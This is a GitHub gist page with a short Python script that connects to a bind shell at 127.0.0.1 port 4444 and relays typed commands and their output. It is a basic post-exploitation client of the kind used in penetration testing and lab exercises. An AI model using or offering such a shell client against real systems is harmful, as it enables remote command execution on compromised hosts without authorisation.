Skip to content

Instantly share code, notes, and snippets.

@brootware
Created March 18, 2022 06:05
Show Gist options
  • Save brootware/600bfb4063d81b3b4cacedd58ec1d920 to your computer and use it in GitHub Desktop.
Save brootware/600bfb4063d81b3b4cacedd58ec1d920 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
import socket
host = "127.0.0.1"
port = 4444
# try and connect to a bind shell
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
try:
print("[+] Connected to bind shell!\n")
while 1:
cmd = input("(py-shell) $ ")
s.send(cmd + "\n")
result = s.recv(1024).strip()
if not len(result):
print("[+] Empty response. Dead shell / exited?")
s.close()
break
print(result)
except KeyboardInterrupt:
print("\n[+] ^C Received, closing connection")
s.close()
except EOFError:
print("\n[+] ^D Received, closing connection")
s.close()
except socket.error:
print("[+] Unable to connect to bind shell.")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment